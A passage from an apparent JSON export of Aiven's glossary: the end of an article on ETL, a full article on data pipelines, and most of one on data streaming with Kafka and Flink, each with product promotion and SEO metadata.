cost-effectiveness of cloud-based data platforms. Cloud data warehouses and data lakes offer powerful processing capabilities, allowing organizations to perform complex transformations directly within the target system.\n\n4. **Flexibility and Agility**:\n - **ETL:** ETL processes may require upfront planning and design of transformation logic before loading data into the target system, which can limit flexibility and agility in responding to changing business requirements.\n - **ELT:** ELT processes offer greater flexibility and agility since raw data is loaded into the target system first, allowing organizations to perform transformations on-the-fly as needed, without the need for extensive preprocessing.\n\n5. **Data Availability**:\n - **ETL:** ETL processes transform data before it is loaded into the destination. Only the transformed data is available to users and downstream applications.\n - **ELT:** ELT processes transform data after it is loaded into the destination. Once transformed, the data is reloaded into the destination, making both the original raw data and the transformed data available to users and downstream applications. This is useful where business analysts utilize transformed data to derive insights, and data scientists utilize the raw data for their data science applications.\n\n\n## ETL \u0026 Its Challenges\n\nThere are various challenges during the ETL process. Below you can find some of them, along with potential solutions to address them effectively.\n\n\n| Challenge | Potential Solutions |\n|-----------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| **1. Data Quality** | Implement data validation rules and checks during extraction and transformation to ensure data integrity.\\n\\n Utilize data profiling tools to identify anomalies and inconsistencies early in the process.\\n\\n Establish data governance policies and procedures to define and enforce data quality standards. |\n| **2. Scalability** | Utilize incremental extraction techniques rather than full extraction to limit the amount of data being extracted and perform smaller extractions more frequently for data freshness.\\n\\n Scale hardware resources vertically (increasing processing power) or horizontally (adding more nodes) to accommodate increased data volumes.\\n\\n Consider cloud-based ETL solutions that offer elastic scalability, allowing resources to be provisioned dynamically based on demand. |\n| **3. Performance** | Optimize queries and transformations for efficiency by minimizing unnecessary operations and utilizing appropriate indexing techniques.\\n\\n Implement partitioning strategies to distribute data across multiple nodes for parallel processing.\\n\\n Consider pre-aggregation of data where applicable to reduce processing overhead.\\n\\n Implement caching mechanisms to store intermediate results and avoid redundant computations. |\n| **4. Data Security and Compliance** | Encrypt data during transmission and storage to protect it from unauthorized access.\\n\\n Implement access controls and role-based permissions to restrict access to sensitive data.\\n\\n Comply with regulatory requirements such as GDPR, HIPAA, etc., by implementing appropriate data protection measures.\\n\\n Regularly audit and monitor data access and usage to detect and prevent unauthorized activities. |\n| **5. Data Integration and Compatibility** | Standardize data formats and schemas across sources and destinations to facilitate integration.\\n\\n Use ETL tools that support a wide range of data sources and formats to simplify data ingestion.\\n\\n Implement data mapping and transformation logic to reconcile differences in data structures between source and target systems.\\n\\n Employ data profiling and data quality tools to identify integration issues early in the process. |\n\n\n\n## Applications of ETL in Data Integration \u0026 Co.\n\n\nLet’s take a look at how ETL (Extract, Transform, Load) is applied in various domains:\n\n1. **Business Intelligence**:\nETL is crucial for business intelligence, as it extracts data from diverse sources like databases and systems, transforms it into a consistent format, cleanses and aggregates it for quality assurance, and loads it into data warehouses. This process enables organizations to derive valuable insights, track key performance indicators, and make informed decisions.\n\n2. **Data Integration**:\nIn data integration, ETL consolidates and harmonizes data from disparate sources by extracting it, transforming it for compatibility, and loading it into central repositories or data warehouses. This facilitates a unified view of data for reporting, analysis, and decision-making purposes.\n\n3. **Cloud Migration**:\nETL plays an important role in migrating data to cloud platforms by extracting it from legacy systems, transforming it for cloud compatibility, and loading it into cloud databases or data lakes. Cloud-based ETL solutions offer scalability and cost-effectiveness, facilitating seamless data migration to the cloud.\nTip: Curious about [cloud data management](https://aiven.io/blog/5-best-practices-for-cloud-database-management)? Check out our post about best practices. \n\n4. **Machine Learning (ML)**:\nWhen it comes to [machine learning](https://aiven.io/developer/machine-learning) models, ETL is essential for preparing data. This includes tasks such as extracting raw data, transforming it through cleaning and feature engineering, and loading it into ML pipelines. This way, organizations can build predictive and prescriptive analytics solutions using machine learning techniques on high quality and fresh data.\n\n## **Elevate Your Data Game: How Aiven Simplifies the ETL Process**\n\nNavigating the complexities of ETL processes requires a **robust, flexible, and scalable** solution. [Aiven](https://aiven.io/) provides an arsenal of [managed services](https://aiven.io/pricing) tailored to enhance every stage of the ETL pipeline.\n\nIn today’s fast-paced world, capturing, processing, and acting on data is critical for businesses to stay alive. ETL and ELT still play a significant role in data pipelines, but streaming has become the direction for extracting, transforming, and loading data. Organizations now need to be real-time data driven to satisfy customer expectations and stay ahead of competition. Enter the world of real-time data streaming and processing.\n\n[Managed Apache Flink](https://aiven.io/flink)**®** and [managed Apache Kafka](https://aiven.io/kafka)**®** are pivotal in modernizing ETL pipelines. While the first solution excels in transforming data with its advanced stream processing capabilities, Kafka efficiently manages high-volume data streams for extraction, transformation, and loading. Together, they offer a real-time solution for ETL, enhancing both human data analysis and decision-making processes and automatically triggering machine-driven actions.\n\nThe benefits extend beyond operational efficiency and cost savings; they pave the way for deeper insights and a competitive edge in the marketplace. For more information about streaming solutions, visit our [Aiven for Streaming](https://aiven.io/solutions/aiven-for-streaming) solutions web page.\n\n**Don't settle for mediocrity – Explore Aiven for unparalleled data agility and performance. [Get started for FREE](https://console.aiven.io/signup)!**\n\n\n## Further reading\n\n- [Why streaming data is essential to empower the ‘Modern Data Stack'](https://aiven.io/blog/our-data-stack)\n- [Digital Cloud-Native Transformation of Priceline (Case Study)](https://aiven.io/case-studies/best-deal-for-priceline)\n- [How to Build Data Analytics Pipelines Faster (Webinar)](https://aiven.io/webinar/how-to-build-data-analytics-pipelines-faster-than-your-morning-commute)","seo":{"_type":"metaData","metaDescription":"ETL Definition | Challenges of the ETL process | Applications of ETL in data integration | ETL vs ELT | Best ETL Tools | Get informed \u0026 elevate your data game!","metaTitle":"What Is ETL? (Extract, Transform, Load) | Aiven"},"slug":{"_type":"slug","current":"/glossary/what-is-etl"},"title":"What Is ETL? "} {"__i18n_lang":"en","_createdAt":"2024-09-03T12:35:18Z","_id":"fe5570d5-3b88-4590-a24e-b0d5534503f2","_rev":"ezMiwuUkJkbYMWycAFHMCx","_type":"glossaryArticle","_updatedAt":"2024-09-09T09:14:24Z","body":"In today's data-driven world, data is created everywhere, and in order to be useful to an organization, it needs to move from its source to a destination. That’s what a data pipeline does — it moves data from a source to a destination where it can be stored, analyzed, and made available to other applications. Data pipelines are the backbone of modern [data architecture](https://aiven.io/blog/building-a-modern-data-architecture). \n\nBut what is the meaning of a data pipeline, and how can it transform the workflows of businesses and developers? Let’s find out. \n\n## **Data Pipeline Definition**\n\nAt its core, a **data pipeline moves data from point A to point B**. This involves a series of processing steps, where data is collected from various sources, processed, and then moved to a destination where it can be used for analysis, reporting, or further processing. \n\nThe advantage of data pipelines lies in their ability to **automate the flow of data** from one point to another, ensuring that data is clean, consistent, and ready for use by any downstream datastore, analytics program, or application.\n\n### **Big Data Pipeline: Tackling Volume and Velocity**\n\nWhen talking about a **big data pipeline**, we're referring to pipelines designed to handle vast quantities of data — think terabytes or petabytes — often streaming in real time. They are engineered to process and analyze data at lightning speed, enabling organizations to react swiftly to changing trends or operational needs.\n\n## **What Are the Benefits of a Data Pipeline?**\n\nThe **benefits of a data pipeline** extend far beyond simple data movement. \n\n- **Enhanced Data Quality and Consistency**: By automating the data flow, pipelines ensure that data across the organization is consistent, reliable, and free from errors or duplications. The data can then be used by anyone or any system across the organization as the single source of truth.\n- **Improved Decision-Making**: With timely access to processed and relevant data, businesses can make informed decisions quickly, gaining a competitive edge.\n- **Increased Efficiency**: Automating the data pipeline process reduces manual tasks, saving organizations time and resources while increasing productivity.\n- **Scalability**: Data pipelines can be designed in accordance with your data needs, accommodating growth without compromising performance.\n- **Flexibility**: A data pipeline can be integrated with various data sources and formats, making it easier to adapt to new technologies and data types.\n\n## **Types of Data Pipelines**\n\nThere are several **types of data pipelines**, each designed to meet different needs:\n\n **1. Batch Data Pipelines** Batch data pipelines are designed to process large volumes of data at once, typically on a predetermined schedule. These pipelines are ideal for scenarios where data does not need to be processed in real time. Batch processing can handle extensive datasets efficiently, making it suitable for data warehousing, reporting, and large-scale data movement.\n\n**1a. Full Data Set Batch**\n\nFull data set batch processing involves the complete dataset being processed at each scheduled interval. This approach is straightforward and ensures that the entire dataset is consistently processed, providing a comprehensive view of the data. However, it can be resource-intensive, particularly with very large datasets, and may result in processing delays as the system handles the entire dataset in one go. Full data set batch jobs are often performed once per day, usually during off hours like kicking off at midnight.\n\n**1b. Micro-Batch (Incremental Batch)**\n\nMicro-batch processing, also known as incremental batch processing, deals with smaller, more frequent batches of data. Instead of processing the entire dataset, only the incremental changes are processed. This approach reduces the load on the system and allows for more frequent updates, providing a balance between real-time processing and traditional batch processing. Micro-batching is beneficial for applications that require near-real-time updates, but can tolerate slight delays.\n\n**2. Streaming Data Pipelines**\n\nStreaming data pipelines are designed to process data as soon as it becomes available, providing continuous, real-time processing. These pipelines are crucial for applications that require immediate data processing and response, such as fraud detection, real-time analytics, and monitoring systems.\n\nStreaming pipelines can handle high-velocity data and provide instant insights, making them ideal for scenarios where latency needs to be minimized. They often employ technologies like Apache Kafka and Apache Flink to manage the data streams effectively.\n\n**3. Change Data Capture (CDC)**\n\nChange Data Capture (CDC) is a specialized type of data pipeline similar to streaming, but focused on tracking and transmitting only the changes made to a relational database as they happen. CDC pipelines capture insertions, updates, and deletions in real time, ensuring that the downstream systems receive the most recent data changes without the need to reprocess the entire dataset.\n\nCDC is particularly useful for keeping data warehouses, data lakes, and other data repositories synchronized with operational databases. It supports real-time analytics, data replication, and other use cases where timely and accurate data changes are critical. When data changes are captured from relational database log files, there is minimal, if any, performance impact on the database itself. There are specialized connectors available, like Debezium, for extracting CDC data and loading it directly into Apache Kafka for further disemmination and processing.\n\n![Diagram visualising change data capture including data sources, data streaming and data destinations](https://cdn.sanity.io/images/sczeoy4w/production/4e3defcb1c5d4e550f76faa2f937c1fc11f79c8c-1616x1090.png)\n\n## **Data Pipelines vs. ETL Pipelines: Understanding the Difference**\n\nWhile often used interchangeably, **data pipelines** and **ETL (Extract, Transform, Load) pipelines** have distinct differences:\n\n- **Purpose and Scope**: Data pipelines are broader in scope, designed to automate the flow of data through various processes, including but not limited to ETL. ETL pipelines are a subset of data pipelines specifically focused on extracting data from sources, transforming it, and loading it into a destination system for analysis.\n- **Flexibility and Complexity**: Data pipelines can handle a wide range of data operations beyond ETL, including real-time data processing and streaming. ETL pipelines, by contrast, are specifically designed for batch processing and transformation of data for analytics purposes.\n- **Use Cases**: ETL pipelines are typically used in data lake or data warehousing scenarios where data needs to be stored and prepared for analysis. Data pipelines have a broader range of applications, including real-time analytics, machine learning model feeding, and more.\n\nIn essence, while ETL pipelines are an essential component for data preparation in analytics, data pipelines encompass a wider array of data processing and movement tasks, offering greater flexibility to meet the diverse needs of modern data-driven organizations.\n\n## **The Data Pipeline Process**\n\nNavigating through the stages of the data pipeline process is crucial for businesses aiming to leverage their data for strategic advantage. Let’s delve deeper into each step to understand its importance and complexity.\n\n### **1. Data Collection**\n\nThe journey of data through the pipeline begins with **data collection**, a critical stage where diversity in data sources becomes apparent. \n\nFrom structured data residing in databases to unstructured data pulled from social media, cloud services, APIs, and IoT devices, the variety is vast. \n\nThis phase is foundational because the quality and breadth of collected data directly impact the insights that can be generated. Ensuring completeness, accuracy, and timely collection of data sets the stage for the subsequent processes in the pipeline.\n\n### **2. Data Processing**\n\nAfter the data is collected, it is far from ready for analysis. It often arrives raw, unstructured, and riddled with discrepancies. **Data processing** is where this raw material is refined into a **valuable resource**. This stage involves several steps:\n\n- **Cleansing**: Removing errors, duplicates, and irrelevant entries to ensure data quality.\n- **Normalization**: Standardizing formats and values to ensure consistency across the dataset.\n- **Transformation**: Converting data into a format or structure suitable for analysis, which may include complex operations like tokenization, encryption, or data masking for security purposes.\n- **Aggregation**: Summarizing detailed data for more general analysis, which is vital for handling vast volumes of data efficiently.\n\nEach of these steps requires careful consideration and application of rules and algorithms that align with the data’s end use. \n\n### **3. Data Storage**\n\nNow, the processed data needs a home where it can be easily accessed, queried, and analyzed. This is where **data storage** comes into play, with options ranging from traditional databases to modern data warehouses and data lakes, each serving different needs. \n\n**Data warehouses** are structured and ideal for storing processed data **ready for analysis**, while **data lakes** can store vast amounts of raw data in its **native format**, as well as transformed data ready for various purposes.\n\nChoosing the right storage solution is pivotal, as it affects the efficiency of data retrieval and analysis stages.\n\n### **4. Data Analysis**\n\nThe culmination of the data pipeline process is **data analysis**, where the stored data is **turned into insights**. \n\nThrough techniques ranging from statistical analysis to machine learning models, businesses can extract actionable insights about \n\n- customer behavior,\n- operational efficiency,\n- market trends, and more.\n\nThis stage is where the true value of a data pipeline is realized, as it informs business strategies, identifies areas for improvement, and can significantly enhance customer experiences.\n\n## **How Do You Create a Data Pipeline?**\n\nEach of the following steps is crucial for creating a data pipeline that efficiently and reliably meets your needs.\n\n### **1. Define Your Objectives**\n\nUnderstanding your objectives involves identifying the specific goals you aim to achieve through your data pipeline. Questions to consider include:\n\n- What kind of data will you be dealing with (customer data, transaction data, sensor data, web clickstreams, system log files, etc.)?\n- What are your end goals (real-time analytics, machine learning, reporting)?\n- Who are the end-users of the data pipeline (data scientists, business analysts, other applications)?\n\nDefining clear, measurable objectives will guide your decisions throughout the data pipeline development process, ensuring that the final product aligns with your business needs and goals.\n\n### **2. Select Your Tools and Technologies**\n\nChoosing the right set of tools and technologies is critical for the success of your data pipeline. This step involves researching and selecting the software and infrastructure that will support your pipeline’s requirements. When deciding on the right solution, ask yourself: \n\n- Can the tools handle your data volume as it grows?\n- Are the tools stable and dependable for critical operations?\n- How user-friendly are the tools? Will your team need extensive training?\n\nThis selection process might involve comparing databases, data processing frameworks, cloud infrastructure services, and any other technologies relevant to your pipeline’s needs.\n\n### **3. Design Your Pipeline Architecture**\n\nDesigning your pipeline architecture involves planning how data will **move through your system** from collection to storage and analysis. \n\nThings to consider:\n\n- Where is your data coming from, and where does it need to go?\n- Will data move in real time, or will it be in pre-scheduled batches?\n- What transformations or enrichments are required?\n\nA well-thought-out architecture not only focuses on the current needs but also anticipates **future scaling** and integration requirements.\n\n### **4. Implement Data Processing Logic**\n\nWith a clear design in place, the next step is to implement the **logic that will process your data**. This involves writing code or configuring your chosen tools to cleanse, transform, and aggregate data according to your predefined rules and requirements. \n\nThis step is where technical skills and understanding of the data come into play, as the processing logic needs to be both **efficient and accurate** to ensure the quality of the output.\n\n### **5. Test Your Pipeline**\n\nTesting is a critical phase that determines the **robustness** of your data pipeline. It involves running real data through your pipeline to identify any issues or bottlenecks. Testing should cover:\n\n- **Functionality** – Does the pipeline meet the defined objectives?\n- **Performance** – Can it handle the expected data volume and velocity?\n- **Accuracy** – Are the data transformations correct?\n\nComprehensive testing ensures that your pipeline is ready for deployment and can handle **real-world data** and scenarios.\n\n### **6. Monitor and Maintain**\n\nDeployment is not the end of the pipeline journey. Continuous monitoring is essential to ensure that the pipeline **performs as expected** over time. \n\nMonitoring involves:\n\n- **Performance -** Keeping an eye on processing times, throughput, and resource utilization,\n- **Resiliency -** Quickly identifying and addressing any issues that arise,\n- **Management -** Regularly updating the pipeline to accommodate new data sources, changes in data formats, and evolving business requirements\n\n## **Data Pipeline Examples**\n\nLet's take a look at some examples of how data pipelines are used in various areas:\n\n- **E-commerce Personalization**: An e-commerce company uses data pipelines to collect customer behavior data in real time, analyze purchasing patterns, and deliver personalized product recommendations.\n- **Financial Fraud Detection**: A bank employs a streaming data pipeline to monitor transactions across its network, applying machine learning models to detect and prevent potential fraudulent activity instantaneously.\n- **Social Media Analytics**: A social media platform utilizes a real-time data pipeline to aggregate user data, analyze engagement metrics, and optimize content delivery for enhanced user experience.\n\n## Seamless Data Pipelines: How Aiven Is Changing the Game\n\nNavigating the data landscape requires powerful tools tailored for **efficiency, scalability, and reliability**. \n\n[Aiven’s](https://aiven.io/) [managed Apache Kafka](https://aiven.io/kafka)**®** significantly enhances data pipelines for any systems or applications requiring high volumes of data with very low latencies. Streaming data pipelines with Apache Kafka offer:\n\n- **High throughput and scalability** to manage vast volumes of data from numerous devices,\n- **Real-time data processing to** ensure immediate insights and responses to fresh data,\n- **Enhanced durability and reliability** for safeguarding critical data against loss, even in the event of system failures,\n- **Decoupling of data producers and consumers** to streamline system scalability, facilitate seamless integration with a variety of data processing and storage technologies, and limit the impact radius if or when failures occur.\n\nFor more information about streaming pipelines, visit our [Aiven for Streaming](https://aiven.io/solutions/aiven-for-streaming) solutions web page.\n\nDiscover the beauty of seamless data pipelines \u0026 transform your real-time insights into action. **[Get started for FREE](https://console.aiven.io/signup)**!\n\n\n## Further Reading\n\n- [Why you should think about moving analytics from batch to real-time (Blog article)](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time)\n- [Move from batch to streaming with Apache Kafka® and Apache Flink® (Tutorial)](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)\n- [Build a real-time analytics pipeline in less time than your morning bus ride (Blog article)](https://aiven.io/blog/build-a-real-time-analytics-pipeline)\n- [Secure, Segregated Multi-tenant Analytics in PostgreSQL® using Aiven for Apache Kafka®, Debezium®, and Aiven for ClickHouse® (Blog article)](https://aiven.io/blog/secureanalytics-in-postgresqlr-using-aiven-for-clickhouse)\n- [Using Kafka Connect JDBC Source: a PostgreSQL® example (Tutorial)](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-example)\n","seo":{"_type":"metaData","metaDescription":"Data pipelines explained | Data pipeline examples | Powerful tools to create data pipelines | Get informed \u0026 elevate your data game with Aiven! ","metaTitle":"What Is a Data Pipeline (Definition \u0026 Examples) "},"slug":{"_type":"slug","current":"/glossary/what-is-a-data-pipeline"},"title":"What Is a Data Pipeline? (Definition \u0026 Examples)"} {"__i18n_lang":"en","_createdAt":"2024-09-11T12:30:27Z","_id":"006f2921-0c82-475b-9d79-ef586ea48bd0","_rev":"qobFP6o3d5Cfo6v5hmGfg9","_type":"glossaryArticle","_updatedAt":"2024-09-18T13:12:40Z","body":"Data streaming is reshaping how we handle and process data in real time. In this post, we'll explore the fundamentals of data streaming, its key components, and the transformative impact it has across various industries. \nWhether you're a seasoned data professional or just curious about the latest technological trends, this guide will provide you with a comprehensive understanding of data streaming and its growing significance in our digital world. Are you ready to dive in?\n\n### TL;DR — If you’re in a hurry\n\n- **Streaming data** is a continuous, real-time flow of data, unlike batch ETL which involve periodic, pre-scheduled movement of data.\n- It enables immediate insights for human decision making and automatic triggers for machine actions, giving businesses a significant competitive advantage.\n- Real-world applications of data streaming range from fraud detection to personalized customer experiences.\n- Emerging trends like AI and IoT integration are set to further revolutionize data streaming capabilities.\n- **Apache Kafka**® and **Apache Flink**® are leading technologies that facilitate efficient data streaming and real-time stream processing.\n- Aiven provides managed services that simplify the complexity of streaming, making it accessible for businesses of all sizes.\n- Security and compliance are central to Aiven's data streaming services, ensuring data integrity and security.\n- Aiven's platform allows for easy integration of data streaming into existing business processes, supporting real-time analytics and [event-driven architecture](https://aiven.io/blog/introduction-to-event-driven-architecture).\n- Streaming real-time data is essential for businesses who want to satisfy customer expectations and stay ahead of the competition.\n\n![ The diagram shows how the value of data decreases over time. It highlights three decision-making processes—event-driven architectures and microservices for real-time data, near real-time analytics for slightly delayed data, and historical analytics for long-term data analysis.](https://cdn.sanity.io/images/sczeoy4w/production/3306dc1461cae869e15e9eea271d3f4ce792df92-1786x1084.png)\n\n## **What is data streaming?**\n\nData streaming is a method of **continuously processing and transferring data in real time** as it is generated. It involves the collection, processing, and analysis of data streams from various sources, such as databases, applications, systems, sensors, devices, websites, social media feeds, or online transactions. Unlike traditional batch workloads, which move data on fixed schedules, say every day or every hour, data streaming moves data immediately as it is created, allowing for real-time insights and actions.\n\nImagine data as water in a hose, continuously flowing and accessible at any point in time. This is the essence of what is streaming data—a relentless stream of information, constantly moving, as opposed to a static pool waiting for a batch job to start moving the data. It’s the difference between instant text messages on your smart phone vs. paper letters in the snail mail. This real-time flow allows for immediate insights and actions, making it the cornerstone of **dynamic business environments** where speed and agility are fundamental.\n\n### **Characteristics: What makes streaming data special**\n\nThe characteristics of streaming data go beyond mere **velocity**. Data streams are about **volume, variety**, and **veracity** as well. They demand robust handling because of their incessant volume, their varied nature coming from countless sources like sensors, users, and machines, as well as the need for the data to be accurate and timely. The real challenge comes not just in capturing this relentless flow of data but in making sense of it in real time, extracting actionable insights while the stream rushes on.\n\n### What is the difference between batch data and streaming data?\n\nBatch data and streaming data represent two fundamentally different approaches to data handling. **Batch processing** involves collecting and processing data in batches at set intervals, such as daily or hourly. This method is suitable for scenarios where handling and making sense of the data in real time is not critical, and it excels in dealing with large volumes of data, allowing for comprehensive and complex analyses. \n\nImagine data as people at a party. Batch data is like having all your guests arrive all at once, precisely at 8:00 pm in a big group. They're pre-arranged, organized, and you can plan how to greet and entertain them. In technical terms, batch data is collected over a period of time and then moved all together at pre-configured schedules. \n\nIn contrast, **streaming data** is about handling data continuously and in real-time, as it is generated. This approach is essential for applications that require immediate data analysis and response, such as monitoring live digital interactions or real-time fraud detection. Data streaming is characterized by its ability to provide instant insights and actions, catering to high-velocity and high-volume data scenarios, but it demands more sophisticated and resource-intensive infrastructure.\n\nNow, **streaming data** is more like having guests pop in unexpectedly, whenever they want to. Each guest demands immediate attention. In the data world, this means information is collected and processed instantly, as soon as it's generated.\n\n\n| |Batch Data |Streaming Data |\n|---|---|---|\n| Data Characteristics | Well-suited for moving any volume of data that doesn't require immediate action. The data is collected over a period of time and then moved all at once. | Ideal for scenarios with high-velocity and high-volume data that require immediate movement and processing, like financial transaction monitoring or live social media analytics. |\n| Processing | Scheduled Processing: Batch processing handles data in large, discrete chunks at scheduled intervals. This could be hourly, daily, or even weekly, depending on the use case. | Real-Time Processing: Streaming data is processed continuously, in real time, as it is generated. This means there is minimal latency between data creation and data processing. |\n| Complexity | Batch processing can efficiently manage complex computations on large datasets, as it doesn't need to deliver immediate results. | Data streaming can sometimes require more resource-intensive operations and complex infrastructure able to handle the constant flow of data and factor in potential spikes in data traffic that might occur. |\n| Use Cases | Common in scenarios where real-time data is not critical, like monthly financial reports, daily sales reports, offline analytics, or historical data analysis. | Widely used in applications that rely on timely data insights, such as fraud detection, real-time recommendations, or monitoring systems. |\n\n\n\n## **Why stream data? (Benefits)**\n\nStreaming data offers a multitude of benefits that are pivotal in the digital era, where real-time information and rapid decision making are crucial. Here are some of the key advantages:\n\n- **Real-Time Insights**: Streaming data allows for the analysis and utilization of information as it is generated, enabling immediate response to emerging trends and issues. This real-time capability is essential for sectors like ecommerce, where online vendors analyze shopper actions and return near-real-time web experience personalization and shopping recommendations.\n- **Enhanced Decision Making**: By providing up-to-date information, streaming data empowers organizations to make timely and well-informed decisions. It eliminates the lag inherent in batch processing, ensuring that decisions are based on the most current data available.\n- **Scalability and Flexibility**: Streaming data solutions are inherently scalable, accommodating the ever-increasing volume of data generated by modern digital interactions. This scalability ensures that organizations can handle data from a few sources to millions, maintaining performance and reliability.\n- **Improved Customer Experience**: In customer-centric industries, streaming data enables personalized and timely interactions with customers. This can lead to improved customer satisfaction and loyalty as businesses respond promptly to customer needs and preferences.\n- **Operational Efficiency**: The continuous flow of data helps in optimizing operations, having access to the most up-to-date information, and predicting potential failures before they occur. For instance, in manufacturing, streaming data from sensors can be used for predictive maintenance, preventing costly equipment failures.\n\nIn summary, streaming data revolutionizes how organizations handle information, offering real-time insights, enhancing decision-making, providing scalability, improving customer experience, boosting operational efficiency, and being cost-effective. \n\n## **The magic of data streaming: Use cases that transform businesses**\n\nData streaming use cases span a wide array of industries, for example: \n\n- Finance\n- E-commerce\n- Healthcare\n- Supply chain and logistics\n- Online gaming\n- Media\n- Traffic management\n- Customer service\n\nOverall, data streaming has become a crucial technology that empowers businesses to react quickly, stay competitive, and better meet customer needs by leveraging real-time insights.\n\n## **Data streaming unpacked: How it works and its implementation**\n\nLet's take a look at how data streaming works.\n\n### **1. Data generation**\n\nData generation marks the inception of the data streaming process. Here, diverse sources **continuously generate data in real time**. Every user interaction on a digital platform, such as website clicks or social media engagements, and readings from various sensors contribute to a constant flow of data. This phase is crucial as it sets the foundation for the subsequent stages of data streaming.\n\n### **2. Data capture and transmission**\n\nThe second phase involves **capturing and transmitting the generated data to a designated repository**. This stage employs sophisticated tools and technologies, similar to a network of pipelines, ensuring the efficient and lossless transfer of large volumes of data. The objective is to deliver the data reliably and securely.\n\n### **3. Data processing**\n\nIn some scenarios, companies would also connect data streaming with a real-time data processing system (stream processing) for the continuous processing data in real time. This processing can be categorized into two primary forms:\n\n- **Real-Time Data Processing:** Involves immediate and near-instantaneous processing of data, minimizing latency to milliseconds or microseconds for time-critical applications.\n- **Near Real-Time Data Processing:** Introduces a slight delay, typically in the order of seconds to minutes, providing timely insights without the strict immediacy of real-time processing.\n\n### **4. Data storage**\n\nIn some scenarios, **storing data for future use** becomes necessary. The data is initially stored in Apache Kafka(R) and made immediately available to any system or application to consume the fresh data. Typically, Kafka has been used as a temporary storehouse for streaming data. Data is often moved out quickly to databases, data lakes, data warehouses, or cloud object storage like Amazon S3, Google Cloud Storage or Azure Blog Storage, where it can be accessed, reprocessed, and retained as historical data.\n\nBy moving data out of Kafka, users can reduce their Kafka costs substantially, as high-speed local disks are much more expensive than low-cost object storage. However, new technologies like Tiered Storage can move data from local disks to object storage within Kafka itself, lowering costs while maintaining a longer history of data in Kafka.\n\n### **5. Data analysis and action**\n\nThe final stage is where the true value of data streaming is realized. Businesses and organizations analyze the processed data to **derive actionable insights and make informed decisions**. \n\n![The diagram depicts an event-driven architecture where data flows from producers to consumers through Aiven’s Apache Flink and Apache Kafka.](https://cdn.sanity.io/images/sczeoy4w/production/818eb2dad5eb6d37cba3d97df6d84950b52acc76-1696x1394.png)\n\nData producers (e.g. Databases, CRM or Ecommerce platforms) generate raw data that is processed by Apache Kafka and Apache Flink. These tools then deliver real-time data to consumers such as microservices, analytics tools, and applications, ensuring they have access to the freshest information. \n\n## **Overcoming challenges and distinctions in data streaming**\n\nWhile data streaming offers numerous benefits, it also presents several obstacles that organizations must address.\n\n- Managing the high volume, velocity, and timing of incoming data.\n- Ensuring the quality and consistency of streaming data.\n- Minimizing latency in data processing and delivery.\n- Integrating streaming data with existing systems and data stores.\n- Streaming data often involves sensitive information, making security and privacy a major concern.\n- Data streaming can be resource-intensive and expensive, especially when scaling up.\n- Analyzing and responding to complex patterns in real-time data streams.\n- Ensuring continuous operation and data integrity in the face of system failures or anomalies.\n- Extracting meaningful insights and making decisions in real-time.\n- Adhering to regulatory requirements and ensuring proper data governance in real-time environments.\n\nEach of these data streaming challenges requires a specific strategy, whether it's deploying sophisticated monitoring tools or utilizing a robust platform. \n\n## **Architecting the future: Data streaming with Apache Kafka**\n\n**Apache Kafka** is an open-source distributed data streaming platform and community project under the **Apache Software Foundation**, written in Scala and Java. It is designed to provide a unified, high-throughput, low-latency platform for handling real-time data feeds. Its robustness and scalability make it an ideal choice for large-scale data streaming tasks.\n\nKafka operates on the principle of a **distributed commit log**. It allows for the publication (writing) and subscription (reading) of streams of records, including continuous import/export of your data. One of Kafka's strengths is its durability and fault tolerance, achieved through replicating data across a cluster of servers. This ensures that data is not lost and is accessible even in the event of single server failure.\n\nThe Kafka architecture is such that it can handle multiple, decoupled data producers and consumers, enabling a high degree of concurrency and parallelism. This makes it particularly well suited for applications requiring real-time analytics and monitoring, event sourcing, log aggregation, and event-driven architecture.\n\nData streaming architecture, exemplified by tools like Apache Kafka, is pivotal in managing the relentless flow of data in today's fast-paced digital environments. Kafka's efficient processing capabilities, fault tolerance, and scalability make it a cornerstone in the field of real-time data streaming and processing. \n\n**Read more:** [Data streaming made easy with Apache Kafka](https://aiven.io/blog/data-streaming-made-simple-with-apache-kafka)\n\n## **The road ahead: Emerging trends in data streaming**\n\nThe future of **data streaming** is as exciting as it is boundless. Here are some emerging trends to watch:\n\n1. **Artificial Intelligence and Machine Learning Integration**: The integration of AI and ML with data streaming technologies is revolutionizing how data is analyzed and utilized in real-time. AI and ML algorithms can process and analyze streaming data to predict trends, detect anomalies, and automate decision-making processes. This integration is particularly impactful in areas like predictive maintenance, real-time personalization in marketing, and advanced fraud detection, where immediate data analysis and response are crucial. For more information on how streaming is used in real-time AI recommendation engines, visit the [Aiven for Streaming](https://aiven.io/solutions/aiven-for-streaming) solutions web page.\n2. **The 5G Revolution**: The rollout of 5G technology is significantly enhancing data streaming capabilities due to its higher speed and lower latency compared to previous generations of mobile networks. This advancement is enabling more efficient and faster data transmission, which is crucial for applications requiring real-time data processing, such as autonomous vehicles, augmented reality, and enhanced mobile streaming experiences.\n3. **IoT Advancements**: The Internet of Things (IoT) is rapidly expanding, and with it, the volume of data generated by connected devices. This surge in data is driving advancements in data streaming technologies to efficiently handle, process, and analyze data from myriad IoT devices. These advancements are pivotal in sectors like smart cities, where real-time data from sensors and devices are used for traffic management, environmental monitoring, and public safety.\n4. **Edge Computing**: Edge computing involves processing data near the source of data generation rather than in a centralized cloud-based system. This trend is becoming increasingly relevant in data streaming, as it allows for quicker data processing and response times, which are vital for time-sensitive applications. Edge computing is particularly useful in scenarios where sending data to the cloud would be too slow or costly, such as in manufacturing processes or remote monitoring systems.\n5. **Hybrid and Multi-Cloud Streaming Architectures**: Organizations are increasingly adopting hybrid and multi-cloud environments for their data streaming architectures. This approach allows businesses to leverage the strengths of different cloud providers and on-premises solutions, enhancing flexibility, scalability, and redundancy. Hybrid and multi-cloud strategies ensure that data streaming processes are more resilient and adaptable to varying workloads and requirements.\n\nThese trends indicate a future where data streaming becomes more integrated with advanced technologies, faster and more reliable through improved connectivity, and more versatile and robust due to emerging architectural paradigms. As these trends continue to develop, they are set to unlock new possibilities and efficiencies in how we process and utilize real-time data.\n\n## **Elevating your data streaming strategy with Aiven**\n\nWhen it comes to actualizing your **data streaming** needs, Aiven emerges as a formidable ally. Offering services that simplify and enhance the data streaming process, it’s like the wizard in the world of data, making complex processes seem almost magical. With offerings like [fully-managed Apache Kafka](https://aiven.io/kafka) and [managed Apache Flink](https://aiven.io/flink), Aiven removes the complexities of data streaming, 